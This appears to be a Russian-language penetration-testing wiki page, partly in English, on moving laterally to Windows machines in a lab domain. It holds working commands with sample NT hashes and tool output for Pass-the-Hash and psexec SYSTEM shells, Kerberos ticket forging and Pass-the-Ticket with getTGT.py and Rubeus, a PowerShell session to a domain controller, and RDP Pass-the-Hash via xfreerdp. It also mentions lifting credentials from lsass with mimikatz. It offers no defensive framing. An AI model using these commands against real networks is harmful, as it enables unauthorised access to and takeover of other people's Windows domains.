Windows computers connection
RPC/SMB
Использовать RPC с SMB — самый распространенный способ. Этот подход используется многими инструментами, такими как PsExec и примерами из impacket psexec.py, wmiexec.py и другими *.exec.py
.
Эти инструменты используют какой-нибудь RPC-интерфейс и отправляют/получают информацию, используя SMB pipes. Обычно, инструменты нуждаются только в открытом 445 порте (SMB), но некоторые (например, для wmiexec.py
нужен 135 порт (RPC over TCP)).
В дополнение, если это возможно для этих инструментов, они сделают Pass-The-Hash атаку, используя NT или LM хеши. Impacket-инструменты содержат для этого специальный параметр. Для PsExec от ms, вы должны сами инжектнуть NT-хеш в Windows сессии с помощью mimikatz.
$ psexec.py contoso.local/Anakin@192.168.100.10 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file WFKqIQpM.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service AoRl on 192.168.100.10.....
[*] Starting service AoRl.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.
(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>whoami
nt authority\system
Здесь используется NTLM-аутентификация, хотя сейчас уже Kerberos по умолчанию.
Для того, чтобы использовать Kerberos, надо передать Kerberos-тикет тулзе. В случае с impacket, надо указать путь до ccache-файла (в Linux это делается через переменную окружения, в Windows — с помощью mimikatz или Rubeus).
Для того, чтобы получить Kerberos-тикет для использования, вы должны знать пароль, или NT-хеш (Overpass-the-Hash), или Kerberos keys (Pass-The-Key) или просто забрать тикет с Windows или Linux машины и использовать его (Pass-The-Ticket).
Лучше иметь набор инструментов для каждой ОС – Windows и Linux, тк тикеты имеют разный формат для каждой ОС. Конвертировать тикеты между различными форматами можно с помощью ticket_converter и cerbero.
Пример запроса тикета и подключение по нему:
$ getTGT.py contoso.local/Anakin -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Saving ticket in Anakin.ccache
$ export KRB5CCNAME=$(pwd)/Anakin.ccache
$ psexec.py contoso.local/Anakin@WS01-10 -target-ip 192.168.100.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file TwIEeeqd.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service ZQZb on 192.168.100.10.....
[*] Starting service ZQZb.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.
(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>
Powershell Remoting
Аналог RPC/SMB для коннекта к Windows-машинам.
Порт: 5985 (на Windows Server включен по умолчанию)
На Windows есть куча cmdlet'ов, на Linux можно использовать evil-winrm.
PS C:\> .\Rubeus.exe asktgt /user:Administrator /rc4:b73fdfe10e87b4ca5c0d957f81de6863 /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.1
[*] Action: Ask TGT
[*] Using rc4_hmac hash: b73fdfe10e87b4ca5c0d957f81de6863
[*] Building AS-REQ (w/ preauth) for: 'contoso.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFQjCCBT6gAwIBBaEDAgEWooIETzCCBEthggRHMIIEQ6ADAgEFoQ8bDUNPTlRPU08uTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDWNvbnRvc28ubG9jYWyjggQFMIIEAaADAgESoQMCAQKiggPzBIID7xK3
<!--stripped-->
ERgPMjAyMTA1MDgwMjQzMjZapxEYDzIwMjEwNTE0MTY0MzI2WqgPGw1DT05UT1NPLkxPQ0FMqSIwIKAD
AgECoRkwFxsGa3JidGd0Gw1jb250b3NvLmxvY2Fs
[+] Ticket successfully imported!
ServiceName : krbtgt/contoso.local
ServiceRealm : CONTOSO.LOCAL
UserName : Administrator
UserRealm : CONTOSO.LOCAL
StartTime : 07/05/2021 18:43:26
EndTime : 08/05/2021 04:43:26
RenewTill : 14/05/2021 18:43:26
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 95a1NmgYXwOmiyCa3qlplA==
PS C:\> Enter-PSSession -ComputerName dc01
[dc01]: PS C:\Users\Administrator\Documents> whoami
contoso\administrator
[dc01]: PS C:\Users\Administrator\Documents> hostname
dc01
[dc01]:
RDP
Windows: можно использовать клиент по умолчанию Remote Desktop Connection (mstsc)
Linux: rdesktop, freerdp или remmina
Минусы: RDP коннект по умолчанию только через пароль.
При подключении по RDP, кредсы кэшируются на машине и могут быть украдены из процесса lsass с помощью инструментов, таких как mimikatz.
В Win8.1 / 2012 R2 Microsoft добавили Restricted Admin mode для RDP. Когда этот режим включен, пароль не передается на тачку, это дает возможность выполнить Pass-The-Hash, Pass-The-Key или Pass-The-Ticket атаки и получить RDP-коннект.
From Linux, you can use freerdp to perform a Pass-The-Hash with RDP (you need to install the freerdp2-x11
freerdp2-shadow-x11
packages instead of freerdp-x11
as the article said). You only need to provide the NT hash instead of the password.
xfreerdp /u:Anakin@contoso.local /pth:cdeae556dc28c24b5b7b14e9df5b6e21 /v:192.168.122.143
На Windows мы можем заинжектить в память NT-хеш или Kerberos ticket с помощью mimikatz или Rubeus и использовать mstsc.exe /restrictedadmin
для получения RDP-сессии без пароля.
Last updated